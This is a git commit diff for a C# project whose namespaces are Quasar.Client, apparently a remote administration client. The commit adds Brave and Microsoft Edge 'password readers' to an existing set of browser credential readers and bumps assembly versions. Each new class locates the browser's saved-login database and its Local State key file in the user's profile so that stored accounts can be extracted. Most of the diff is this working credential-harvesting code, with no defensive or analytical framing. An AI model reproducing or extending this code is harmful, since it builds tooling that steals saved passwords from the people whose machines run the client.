MS Edge & Brave Password Recovery

This commit is contained in:
Hristiyan Ivanov
2020-08-22 01:34:32 +03:00
committed by MaxXor
parent c4c40e6406
commit 52ff39d7f7
7 changed files with 70 additions and 8 deletions
@@ -32,9 +32,11 @@ namespace Quasar.Client.Messages
var passReaders = new IAccountReader[]
{
new BravePassReader(),
new ChromePassReader(),
new OperaPassReader(),
new OperaGXPassReader(),
new EdgePassReader(),
new YandexPassReader(),
new FirefoxPassReader(),
new InternetExplorerPassReader(),
+2 -2
View File
@@ -30,5 +30,5 @@ using System.Runtime.InteropServices;
// Sie können alle Werte angeben oder die standardmäßigen Build- und Revisionsnummern
// übernehmen, indem Sie "*" eingeben:
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.4.0")]
[assembly: AssemblyFileVersion("1.4.0")]
[assembly: AssemblyVersion("1.4.2")]
[assembly: AssemblyFileVersion("1.4.2")]
@@ -0,0 +1,30 @@
using Quasar.Common.Models;
using System;
using System.Collections.Generic;
using System.IO;
namespace Quasar.Client.Recovery.Browsers
{
public class BravePassReader : ChromiumBase
{
/// <inheritdoc />
public override string ApplicationName => "Brave";
/// <inheritdoc />
public override IEnumerable<RecoveredAccount> ReadAccounts()
{
try
{
string filePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData),
"BraveSoftware\\Brave-Browser\\User Data\\Default\\Login Data");
string localStatePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData),
"BraveSoftware\\Brave-Browser\\User Data\\Local State");
return ReadAccounts(filePath, localStatePath);
}
catch (Exception)
{
return new List<RecoveredAccount>();
}
}
}
}
@@ -0,0 +1,30 @@
using Quasar.Common.Models;
using System;
using System.Collections.Generic;
using System.IO;
namespace Quasar.Client.Recovery.Browsers
{
public class EdgePassReader : ChromiumBase
{
/// <inheritdoc />
public override string ApplicationName => "Microsoft Edge";
/// <inheritdoc />
public override IEnumerable<RecoveredAccount> ReadAccounts()
{
try
{
string filePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData),
"Microsoft\\Edge\\User Data\\Default\\Login Data");
string localStatePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData),
"Microsoft\\Edge\\User Data\\Local State");
return ReadAccounts(filePath, localStatePath);
}
catch (Exception)
{
return new List<RecoveredAccount>();
}
}
}
}
@@ -16,5 +16,5 @@ using System.Runtime.InteropServices;
[assembly: Guid("cfda6d2e-8ab3-4349-b89a-33e1f0dab32b")]
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.4.0")]
[assembly: AssemblyFileVersion("1.4.0")]
[assembly: AssemblyVersion("1.4.2")]
[assembly: AssemblyFileVersion("1.4.2")]
+2 -2
View File
@@ -33,5 +33,5 @@ using System.Runtime.InteropServices;
// You can specify all the values or you can default the Build and Revision Numbers
// by using the '*' as shown below:
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.4.0")]
[assembly: AssemblyFileVersion("1.4.0")]
[assembly: AssemblyVersion("1.4.2")]
[assembly: AssemblyFileVersion("1.4.2")]
+2 -2
View File
@@ -30,5 +30,5 @@ using System.Runtime.InteropServices;
// Sie können alle Werte angeben oder die standardmäßigen Build- und Revisionsnummern
// übernehmen, indem Sie "*" eingeben:
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.4.0")]
[assembly: AssemblyFileVersion("1.4.0")]
[assembly: AssemblyVersion("1.4.2")]
[assembly: AssemblyFileVersion("1.4.2")]